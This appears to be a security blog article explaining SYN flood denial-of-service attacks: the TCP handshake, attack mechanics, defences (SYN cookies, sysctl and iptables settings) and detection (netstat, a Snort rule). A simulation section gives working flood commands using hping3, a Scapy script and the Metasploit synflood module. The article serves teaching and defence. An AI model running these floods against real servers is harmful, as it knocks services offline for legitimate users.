Offensive Security Researcher & Quantum Cryptography Analyst

SYN Flood Attack: Prevention, Detection, and Mitigation

Abdul Wahab Junaid
SYN Flood Attack: Prevention, Detection, and Mitigation

A SYN flood attack is a type of Denial-of-Service (DoS) or Distributed Denial-of-Service (DDoS) attack that exploits the TCP three-way handshake process to overwhelm a target server, making it unresponsive to legitimate traffic.

1. How the Attack Works

TCP Three-Way Handshake (Normal Connection)

Before understanding the attack, let’s review how a normal TCP connection is established:

  1. SYN – The client sends a SYN (synchronize) packet to the server.
  2. SYN-ACK – The server responds with a SYN-ACK (synchronize-acknowledge) packet and allocates resources.
  3. ACK – The client sends an ACK (acknowledge) packet to complete the connection.

SYN Flood Attack Mechanism

In a SYN flood attack, the attacker exploits the second step:

  1. Malicious SYN Packets – The attacker sends a flood of SYN packets (with spoofed IP addresses) to the target server.
  2. Server Allocates Resources – The server responds with SYN-ACK packets and reserves memory for each pending connection.
  3. No Final ACK – Since the source IPs are fake, the server never receives the final ACK, leaving half-open connections in the backlog queue.
  4. Resource Exhaustion – The server runs out of resources (memory, CPU, connection slots), making it unable to handle legitimate requests.

2. Ethical Hacker Simulation in Penetration Testing

Ethical hackers simulate SYN flood attacks to test a system’s resilience. Common methods include:

Tools Used for Simulation

hping3 – A powerful packet-crafting tool.

Bash
hping3 -S --flood -p 80 --rand-source <target_IP>

Scapy (Python-based) – For custom packet generation.

Python
  from scapy.all import *
  target = "192.168.1.1"
  port = 80
  packet = IP(dst=target)/TCP(sport=RandShort(), dport=port, flags="S")
  send(packet, loop=1, verbose=0)

Metasploit (synflood module)

Bash
  msfconsole
  use auxiliary/dos/tcp/synflood
  set RHOST <target_IP>
  set RPORT 80
  run

Testing Objectives

3. Prevention & Mitigation Strategies

A. Network-Level Defenses

  1. SYN Cookies

    • The server does not allocate resources until the final ACK is received.
    • Enabled in Linux:
      sysctl -w net.ipv4.tcp_syncookies=1

  2. Increasing Backlog Queue

    • Adjust the maximum allowed half-open connections:
      sysctl -w net.ipv4.tcp_max_syn_backlog=2048

  3. Reducing SYN-RECEIVED Timeout

    • Decrease the time a half-open connection stays in memory:
      sysctl -w net.ipv4.tcp_synack_retries=2

  4. Rate Limiting SYN Packets

    • Use iptables to limit SYN packets per second:
      iptables -A INPUT -p tcp --syn -m limit --limit 1/s -j ACCEPT
iptables -A INPUT -p tcp --syn -j DROP

B. Hardware/Cloud-Based Solutions

  • Firewalls & IPS/IDS (e.g., Cisco ASA, Palo Alto, Suricata)
  • DDoS Protection Services (e.g., Cloudflare, AWS Shield, Akamai)
  • Load Balancers (e.g., NGINX, HAProxy) with SYN flood protection.

4. Detection & Monitoring Tools

  • Wireshark – Analyze incoming SYN packets.
  • netstat – Check for excessive half-open connections:
    netstat -n -p TCP | grep SYN_RECV
  • Snort (IDS) – Detect SYN flood patterns:
    alert tcp any any -> $HOME_NET any (flags: S; msg: "Possible SYN Flood"; threshold: type both, track by_src, count 100, seconds 1; sid:1000001;)

Conclusion

  • SYN flood attacks exploit the TCP handshake to exhaust server resources.
  • Ethical hackers simulate them using tools like hping3, Scapy, and Metasploit.
  • Prevention involves SYN cookies, rate limiting, and DDoS mitigation services.
  • Monitoring with Wireshark, netstat, and IDS helps detect attacks early.

By implementing these defenses, organizations can protect their servers from SYN flood disruptions.

Exit mobile version